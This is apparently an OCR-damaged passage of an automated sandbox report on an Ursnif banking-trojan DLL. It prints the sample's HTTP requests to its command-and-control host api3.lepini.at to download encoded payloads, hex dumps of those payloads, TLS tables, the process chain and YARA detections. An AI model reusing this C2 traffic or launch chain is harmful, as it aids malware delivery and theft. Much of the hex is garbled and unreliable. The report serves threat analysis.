smzl052W/VaAuas8dozcem21Mrlfi/9YUq_2BOx3S4HJ73aAi/VsOwStZxRwr04db1SG2ZhF/SDvfPYnIQuY21/wpQ
uP8zD/NKJ8gswNFYPIJUNd52s2mHI/F5u4SKY7Sh/kxNMhGHUIS6M7up70/RKp4_2FZDHjQ/JbZOJImdSxil/58gaA9
6_2FkxAQ/MNTrt1jQAMrd60eL4xAxxk/XtosXkxYrgp_2FaY/c1AbOulAwuv/A HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

Host: api3.lepini.at

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 12 Feb 2021 00:50:13 GMT

Content-Type: application/octet-stream

Content-Length: 332352

Connection: close

Pragma: public

Accept-Ranges: bytes

Expires: 0

Cache-Control: must-revalidate, post-check=0, pre-check=0

Content-Disposition: attachment; filename="6025d0c50bc0e.bin"

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Data Raw: 39 ca 6¢ 8b d4 2b b2 18 d8 61 84 81 bc dc €9 0f 71 70 85 cf 81 4d 45 1e b5 74 4b 27 5a 80 84 1b 65 24 9e de
44 6e 92 97 c9 a4 ae 85 6¢ a8 32 ce 2b 5a 15 44 30 al ab 32 d5 fe f4 f5 a6 f8 b4 21 c1 Oe d1 b7 5a 35 a5 e4 1a 3e el bd
c2 da dO cl 4f 82 41 bd 9a 35 4a 36 4a 7c €9 de ff 90 c8 a9 79 33 86 df ee 15 77 ab b3 17 6a 56 30 b0 f0 46 b5 34 47 53
88 ad ae 29 1f 00 f9 ea 59 9c 80 af 2f 59 33 80 33 99 27 7 3a c4 38 6f 94 96 cO ef 1d 54 ff a8 8b 40 30 c9 84 5a e7 52 62
4223 8b 77 3c c1 b3 17 7c ca 01 03 41 63 f6 3f 33 b3 55 d0 19 42 45 99 7b 0d aa b1 65 18 95 54 64 e7 6f a9 79 27 6e e8
cc 7b 65 56 0d 57 11 a6 2c 1c 7a 7e €0 f9 8b 80 03 22 a3 fe d4 b5 cf 39 7a 83 35 01 5f ea 14 d4 d3 6b 86 59 be 0Of a8 64
82 68 d0 Oc 19 38 5¢ b2 e3 d9 1c cc Oc 29 3e fc 28 9e e5 95 1d 00 81 33 3d al ce 67 1b 8a 64 aa 13 fa b8 84 51 99 Oc 12
92 43 f8 7c 4a 4b 8b 54 24 a0 ea d9 9a 3a 23 ee fd 4e c4 2e 92 28 bf 7e 44 7c 50 2e de af d6 4a d6 d8 68 c0 10 28 c3 49
83 93 da 4b fe 75 35 4e 5c ee a7 43 2d 2e cc ae 3a a4 e5 21 32 3f d6 7f 8d e7 60 5a a9 1d 75 28 6f 2a 78 c9 a2 bd 2f 9b
2c 7171 5b 3fd9 fb 8e 49 7c 76 72 50 ad f9 02 77 c8 ca c7 07 c3 9a e8 ff 35 47 21 61 12 fd 4b a7 a5 21 02 3b d8 0a 82 70
57 dc d2 14 5a 30 55 a5 46 87 fe 18 9a 88 bf 6 f7 81 56 70 2c e7 4a 38 9b 7e ed 5 af Ob 99 32 22 1b 62 4d 41 41 4b 41
9a e4 59 d8 b7 e7 64 44 e7 16 ef 3b 18 be 13 61 be 4f 71 9c 8f 2¢ 1c 60 d3 aa ee 94 a3 1le 43 6¢ 61 42 76 39 58 c0 3c al
9e 64 07 c8 f9 f0 44 06 c1 56 97 31 02 95 40 b7 c9 db 9a 72 67 80 a8 bf 2b 03 b7 a5 1c 1556 11 8a a8 e0 d3 26 81 f9 76
9b 1b ba f0 d7 66 a2 8d 43 19 eb €3 00 27 4d ee b6 28 20 ba ab c2 42 53 9f d3 ef 6d c4 52 01 6¢ 8e 32 68 af 49 4c le 4c
78 3a 05 46 93 8¢c a2 6b e6 4d ed ac 1d 57 f4 e2 2c c0 b6 7e 84 ec dd 93 18 48 86 €9 c4 77 9d 36 14 Oe ca 93 dc 14 df 7b
2f 78 85 52 f4 2e 97 ca 90 24 52 35 2c fe 48 01 ad 84 36 70 6b 4c 4a c9 98 22 5f b9 9e 57 da b4 55 97 cd 1c 85 f9 c6 19
ae a7 db 19 df b9 e8 cd e7 92 e4 fa 38 b4 e2 c0 43 af bc 8b 75 8c 9b 88 4f 21 cd ed e2 c8 25 e4 ec cd 15 7a 78 69 d2 05
79 8cac 47 b2 0c f6 a3 76 71 7c 91 c0 6b 55 2d 1b 0f 54 Oc df c8 f5 ed ea e7 3d 42 f9 15 53 51 db 58 5e ce 71 98 71 53
9a e4 c2 4b 15 0b 66 Oe ce 04 €0 e3 db 6¢ 95 04 d5 b9 c2 c5 32 d6 57 ea 69 5¢ 41 40 a5 bd 6¢ 64 9e 16 29 2d e3 7f 95 22
d9 9e b9 01 02 21 99 c6 e2 f7 af a8 04 b5 29 f5 49 1a 2a 51 b4 96 3d 2e 68 €9 73 da fc f9 4d 74 fc 4a 8b c0 d1 9c ff ef fb
Ob 7f 64 7c 63 4f 12 86 71 7d b6 2a d1 ed 99 91 4c f2 f2 a5 19 81 07 b1 d3 b3 09 46 5c¢ cc 24 52 af 58 04 f2 82 d0 ad 83 ff
14 73 ac ca 89 1b d5 d1 e6 8d 6b da 8e af da db 30 4b 49 d2 4a 93 17 ba 88 fd ed c3 11 37 be 40 85 d7 d1 1a 2f 3b 06 2d
46 6b 44 €3 35 b5 32 18 d5 fb 5a 1e 78 7b 28 bb 46 ca a2 ff 9b 06 71 ac 9a f2 1e al d3 14 d4 60 11 32 e4

Data Ascii: 9l+agpMEtK'Ze$Dnl2+ZD02!Z5>0A5J6J|y3wjVOF4GS)Y/Y33":80T@0ZRbJ#w<|Ac?3UBE{eTdoy'n{eVW,z~"
9z5_kYdh8\)>(3=gdQC|IKT$:#N.(~D|P.Jh(IKuSN\C-.:12?"Zu(o*x/,qq[?l|vrPw5G!aK!;pWZ0UFVp,J8~2"bMAAKAY dD;

a0q, ClaBv9X<dDV1@rg+V&vfC'M( BSmRI2hILLx:FKMW,~HW6{/XR.$R5,H6pkLI"_WUBCuO!%zxiyGvg|kU-T=B
SQX"qqSKfl2WilA@Id)-"1)1*Q=.hsMtJd|cOq}*LF\$RXskOKIJ7@/;-FkD52Zx{(Fq 2
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Session ID Source IP Source Port Destination IP Destination Port Process

9 192.168.2.4 49774 35.228.31.40 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe
kBytes
Timestamp transferred Direction Data
Feb 12, 2021 4300 ouT GET /apil/4ZiHzRCntPm2_2Bs_/2FRsqW01GOmk/jISxz1SigWt/9V023wgzmt0z6v/0oeSxd8UkQmb8DtzG6cPTd/
01:50:14.121726990 CET ym_2By611oxIQY3M/yETa3aFgtQZDw09/uFg9yjZYalllr07gXa/S4TdWOO0jq/r61swAIKHUON7D5WiS6M/aBO_2F0

g98FaVumuUgko/cxT6YBLiICeGe4HDHV0QwGa/JrNDDK39RFrgA/bnSciaqC/5xKVdu46G4ukxU_2BpjltQZ/vWdcVIK
KZr/8uf5Z_2FSSRnkdJI6/EcvRjJIACODIS/MbGP9aL3I1L/I1KoMe2FXtylq_/2Fdget5Pj/NB HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

Host: api3.lepini.at

Feb 12, 2021 4302 IN HTTP/1.1 200 OK

01:50:14.743350029 CET Server: nginx
Date: Fri, 12 Feb 2021 00:50:14 GMT
Content-Type: application/octet-stream
Content-Length: 467525
Connection: close
Pragma: public
Accept-Ranges: bytes
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Content-Disposition: attachment; filename="6025d0c68ae80.bin"
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff
Data Raw: eb 68 85 f6 ac c8 d8 df 41 81 0d 82 b6 7c cf 81 c2 80 f5 27 a6 1la dc 17 dO e2 70 cc 60 8d d3 b6 66 51 66 64 of
f9 18 89 57 de 3 88 0f 03 37 be 70 0d 3c 87 75 42 39 37 bd 2f 2e fb 6a 2c f8 74 74 c0 1b 8f bb 1d 30 f3 c4 ee 4c a6 b6 69
04 49 18 44 6b f5 47 24 00 4a 59 15 47 7f 09 1f 54 f6 12 €8 77 4e 20 86 ff 2b 71 a9 d0 65 62 b8 {2 fd €7 c6 32 40 14 29 eb
a2 0c 79 7e c5 36 17 6f 4a 38 61 5b bd 36 22 82 1f 8f 49 el 38 8a 2f 88 da b5 Oe 81 d6 42 3f c9 c3 94 19 df c2 {5 0f 2a 87
1b c6 a7 29 97 12 €6 07 dd 73 e5 1a cc ce el eb c8 63 88 4e 58 20 3e bb 20 0f 74 77 1d 61 58 90 63 0f 89 db df 28 8a 94
8c d5 9d cb d5 e8 50 ec 79 ce 57 66 ce 57 6¢ 29 83 80 50 e5 €9 0f c4 91 a2 37 e6 58 65 4f 13 9a 7f 2a 24 46 e2 8c 6e bc
22 46 6d 7f 25 4b 24 90 b2 cd 9b 3d 47 0d d6 b7 77 6a €9 0d 8c 6e 30 81 55 94 ca ab a6 7e 29 22 d9 2b 92 e8 b2 20 8c
3b 37 d9 4e 63 04 b6 15 38 dc 55 f5 eb 77 40 Oc f8 50 77 bb 7c 4f 15 ce af 94 4a b9 39 ac da 6¢ e5 40 1d 4a 9a b4 b7 b2
fa 2e 1b 40 07 76 8f c8 1b f8 eb e6 7d 17 8d 84 66 84 f2 1a ea ef 51 4d 43 52 fe 33 da cb 8a a5 61 7f 76 ea 83 c2 c4 51 b8
37 dd f1 1e c9 26 d6 08 ae d4 b3 76 34 77 0f 61 80 ca 13 85 51 c5 d9 bf 04 59 53 81 dd 4e 27 Oc 80 11 f6 4a d6 79 Ob f7
63 a6 e5d0 8e 4052 80 71 e7 3a 85 8b a0 05 15 e8 da 16 70 99 93 e6 86 03 57 d9 fO ed e2 22 fc 71 3e el eb 67 b1 d4
d0 d6 bb 97 55 53 48 a4 8c c9 66 fa 20 €9 67 9e 98 5a 51 a4 43 3 9c 5b 89 d3 46 ce 6f a2 dd 0a 53 a9 9c d1 08 Oe 84 11
9f 76 61 9e 7d a9 97 7b 15 Ob 31 ec 73 9f 20 70 32 f2 46 e6 f6 €3 db c9 bb 10 27 f8 96 a2 7e 4a 9e ac 7d f0 97 a2 a0 a9
48 4f 16 15 e8 91 ca ce 11 ea 58 84 ee 00 b5 fa 93 96 cb 9e 59 7e d0 c2 78 17 e3 74 28 79 6a 17 03 90 9a 45 b3 b2 9d 30
08 f1 b7 eb 9b ba 58 be 37 85 c6 a3 ee ¢4 01 ab 84 51 1c 25 c7 cc 44 47 f0 d7 c2 55 49 55 4f Oc 3b b5 d3 6d 4c 1f 5a 07
578 76 6¢ bc 5¢ c7 b8 81 8b a2 86 4d ¢8 b0 db Oe 54 93 52 bf 99 a4 9a 2d 62 ae 90 f5 c8 48 71 e6 5d bf 19 7e 3b 95 Of
91 06 c4 77 59 7b b9 8c 67 01 29 d9 35 c3 ea f6 03 0f 3e 43 54 d4 2c 07 7f 96 51 8e 55 c6 72 5f 53 44 d6 25 08 fb 34 c5
8b 50 62 8a 14 3a cd bd 71 a8 60 3a 53 c5 67 d6 b0 07 2e 9a f0 25 a6 18 f3 33 ¢2 3d 5d 8e c6 64 d7 62 a8 51 79 af 66 67
b8 7d b9 e4 6f 55 12 c9 4f aa 5d a6 52 08 db 31 d2 ee b1 1f 27 6a aa 89 ¢9 10 17 8d 57 da 70 79 94 a7 2b 94 d4 53 8e ce
53 d9 9e f7 97 ec 3d €2 0d 04 €0 2b 41 2b 37 Ob b6 el 8f 27 00 4c 41 29 20 51 4a d1 c8 fd f2 18 10 55 c9 a0 fa 1c 6a 97
4570 cl al 3c 24 55 2d 20 bd 46 7f c4 b9 49 5d b0 a9 8d al b7 3e 09 d4 f3 c2 cc 7a dc a7 bb 40 e5 56 6b 1d 5b 54 1f 04
7088 89 a8 7e 84 7d fe 1e de 7a a0 09 f4 Oc a0 1e a0 51 d8 9e 59 cd 25 2b 17 dO 81 d0 42 3e 10 ce 20 83 57 75 8a 53 af
37 10 54 95 a6 8b dc 99 86 79 40 3b 13 c2 74 35 ce eb 7e 45 44 19 5c 96 08 01 5c¢ 34 3f 3c b4 1e 9a 27 2c 90
Data Ascii: hA|'p fQfdW7p<uB97/.j,ttOLIIDKG$IYGTWN +geb2@)y~60J8a[6"I18/B?*)scNX > twaXc(PyWfwWI)P7XeO
*$Fn"Fm%K$=Gwjn0U~)"+ ;7Nc8Uw@Pw|0J91@J.@V}QMCR3avQ7&v4waQY SN'Jyc@Rq:pW"q>gUSHf gZQC[FoSva}
{1s p2F'~J}HOXY~xt(yJEOX7Q%DGUIUO;mLZXVI\MTR-bHg]~;wY{g)5>CT,QUr_SD%4Pb:q":Sg.%3=]dbQyfg}oUO]R1jW
py+SS=+A+7'LA) QIUJEp<$U- FI]>z@VK[Tp~}zQY%+B> WuS7Ty@;t5~ED\\4?<’,

HTTPS Packets

Source Dest Not Not JA3 SSL Client

Timestamp Source IP Port Dest IP Port  Subject Issuer Before After Fingerprint JA3 SSL Client Digest
Feb 12, 2021 104.20.185.68 443 192.168.2.4 49720 CN=*.onetrust.com, CN=DigiCert SHA2 Thu May Wed Jul 771,49196-49195- 9e10692f1b7f78228b2d4e
01:47:04.054167032 O=0OneTrust LLC, L=Sandy Secure Server CA, 21 27 49200-49199- 424db3a98c
CET Springs, ST=Georgia, C=US O=DigiCert Inc, C=US  02:00:00 14:00:00 49188-49187-

CN=DigiCert SHA2 Secure CN=DigiCert Global CEST CEST  49192-49191-

Server CA, O=DigiCert Inc, Root CA, 2020 Fri 2022 49162-49161-

C=UsS OU=www.digicert.com, Mar 08 Wed 49172-49171-157-

O=DigiCert Inc, C=US  13:00:00 Mar08 156-61-60-53-47-
CET 13:00:00 10,0-10-11-13-35-

2013 CET 16-23-24-
2023 65281,29-23-24,0

CN=DigiCert SHA2 Secure CN=DigiCert Global Fri Mar  Wed
Server CA, O=DigiCert Inc, Root CA, 08 Mar 08
C=Us OU=www.digicert.com, 13:00:00 13:00:00
O=DigiCert Inc, C=US  CET CET
2013 2023
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Timestamp

Feb 12, 2021
01:47:04.113539934
CET

Feb 12, 2021
01:47:07.906945944
CET

Feb 12, 2021
01:47:07.907108068
CET

Feb 12, 2021
01:47:07.907742023
CET

Feb 12, 2021
01:47:07.907888889
CET

Copyright null 2021

104.20.185.68 443

151.101.1.44 443

151.101.1.44 443

151.101.1.44 443

151.101.1.44 443

Dest
Dest IP Port

192.168.2.4 49721

192.168.2.4 49739

192.168.2.4 49735

192.168.2.4 49738

192.168.2.4 49737

Subject

CN=*.onetrust.com,
O=0OneTrust LLC, L=Sandy
Springs, ST=Georgia, C=US
CN=DigiCert SHA2 Secure
Server CA, O=DigiCert Inc,
C=USs

CN=DigiCert SHA2 Secure
Server CA, O=DigiCert Inc,
C=USs

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

Issuer

CN=DigiCert SHA2
Secure Server CA,
O=DigiCert Inc, C=US
CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

Not
Before

Thu May
21
02:00:00
CEST
2020 Fri
Mar 08
13:00:00
CET
2013

Fri Mar
08
13:00:00
CET
2013

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Not
After

Wed Jul
27
14:00:00
CEST
2022
Wed
Mar 08
13:00:00
CET
2023

Wed
Mar 08
13:00:00
CET
2023

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

JA3 SSL Client
Fingerprint

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

JA3 SSL Client Digest

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228b2d4e
424db3a98c
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Source

Timestamp Source IP Port
Feb 12, 2021 87.248.118.23 443
01:47:07.918412924

CET

Feb 12, 2021 151.101.1.44 443
01:47:07.924014091

CET

Feb 12, 2021 87.248.118.23 443
01:47:07.924952030

CET

Feb 12, 2021 151.101.1.44 443
01:47:07.928540945

CET

Code Manipulations

Statistics

Behavior

Copyright null 2021

Dest

Dest IP Port

192.168.2.4 49732

192.168.2.4 49736

192.168.2.4 49733

192.168.2.4 49734

Subject

CN=*.yahoo.com, O=Oath
Inc, L=Sunnyvale,
ST=California, C=US
CN=DigiCert SHA2 High
Assurance Server CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert SHA2 High
Assurance Server CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.yahoo.com, O=Oath
Inc, L=Sunnyvale,
ST=California, C=US
CN=DigiCert SHA2 High
Assurance Server CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert SHA2 High
Assurance Server CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

Issuer

CN=DigiCert SHA2 High
Assurance Server CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US
CN=DigiCert High
Assurance EV Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert High
Assurance EV Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert SHA2 High
Assurance Server CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US
CN=DigiCert High
Assurance EV Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert High
Assurance EV Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US
CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert Global
Root CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

@ loaddlI32.exe
® regsvr32.exe

@ cmd.exe

@ iexplore.exe
@ iexplore.exe
@ iexplore.exe
@ iexplore.exe

Not
Before

Thu Jan
14
01:00:00
CET
2021
Tue Oct
22
14:00:00
CEST
2013

Tue Oct
22
14:00:00
CEST
2013

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Thu Jan
14
01:00:00
CET
2021
Tue Oct
22
14:00:00
CEST
2013

Tue Oct
22
14:00:00
CEST
2013

Wed
Nov 25
01:00:00
CET
2020
Thu Sep
24
02:00:00
CEST
2020

Thu Sep
24
02:00:00
CEST
2020

Not
After

Wed
Mar 03
00:59:59
CET
2021
Sun Oct
22
14:00:00
CEST
2028

Sun Oct
22
14:00:00
CEST
2028

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

Wed
Mar 03
00:59:59
CET
2021
Sun Oct
22
14:00:00
CEST
2028

Sun Oct
22
14:00:00
CEST
2028

Mon

Dec 27
00:59:59
CET
2021
Tue Sep
24
01:59:59
CEST
2030

Tue Sep
24
01:59:59
CEST
2030

JA3 SSL Client
Fingerprint

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

771,49196-49195-
49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

JA3 SSL Client Digest

9e10692f1b7f78228h2d4e
424db3a98c

9e10692f1b7f78228b2d4e
424db3a98c

9e10692f1b7f78228b2d4e
424db3a98c

9e10692f1b7f78228b2d4e
424db3a98c
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@ iexplore.exe
mshta.exe

@ powershell.exe

@ conhost.exe

@ csc.exe

@ cvires.exe

@ csc.exe

@ cvires.exe

@ explorer.exe

@ control.exe

@ RuntimeBroker.exe
rundll32.exe

® cmd.exe

@ conhost.exe

\E' Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 4816 Parent PID: 6016

General

Start time: 01:46:58

Start date: 12/02/2021

Path: C:\Windows\System32\loaddlI32.exe
Wow64 process (32bit): true

Commandline: loaddlI32.exe 'C:\Users\user\Desktop\2200.dII'
Imagebase: 0xeb0000

File size: 121856 bytes

MDS5 hash: 99D621EO0O0EFCOB8F396F38D5555EB078
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Activities

File Path Access Attributes Options Completion

Source
Count Address Symbol

Analysis Process: regsvr32.exe PID: 5032 Parent PID: 4816

General

Start time: 01:46:58

Start date: 12/02/2021

Path: C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit): true

Commandline: regsvr32.exe /s C:\Users\user\Desktop\2200.dlI
Imagebase: 0x1260000

File size: 20992 bytes

MDS5 hash: 426E7499F6A7346F0410DEAD0805586B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.778286799.0000000004EE8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.843211689.0000000000B50000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.778174223.0000000004EE8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.778148472.0000000004EE8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.778122341.0000000004EE8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.778237278.0000000004EE8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.778275510.0000000004EE8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.785789013.0000000004D6B000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000002.861261874.0000000000810000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.778197663.0000000004EE8000.00000004.00000040.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000001.00000003.778255655.0000000004EE8000.00000004.00000040.sdmp, Author:
Joe Security

Reputation: high
File Activities
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: cmd.exe PID: 3496 Parent PID: 4816
General
Start time: 01:46:58
Start date: 12/02/2021
Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Exploreniexplore.exe'
0x11d0000

232960 bytes

F3BDBE3BB6F734E357235F4D5898582D

true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Analysis Process: iexplore.exe PID: 4344 Parent PID: 3496
General
Start time: 01:46:59
Start date: 12/02/2021
Path: C:\Program Files\internet exploreniexplore.exe
Wow64 process (32bit): false
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Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

C:\Program Files\Internet Exploreniexplore.exe
0x7ff78bb20000

823560 bytes
6465CB92B25A7BC1DF8E01D8AC5E7596
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Source
Key Path Name Type Data Completion Count Address Symbol
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: iexplore.exe PID: 6012 Parent PID: 4344
General
Start time: 01:46:59
Start date: 12/02/2021
Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Path

File Path Offset

File Path

Registry Activities

Key Path Name

Type

Access

Length Value

Old Data

true

'‘C:\Program Files (x86)\Internet Explore'\lIEXPLORE.EXE' SCODEF:4344 CREDAT:17410

Iprefetch:2

0xb20000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

high

Attributes Options Completion
Ascii Completion

Offset Length Completion
New Data Completion

Count

Count

Count

Count

Source
Address Symbol

Source
Address Symbol

Source
Address Symbol

Source
Address Symbol

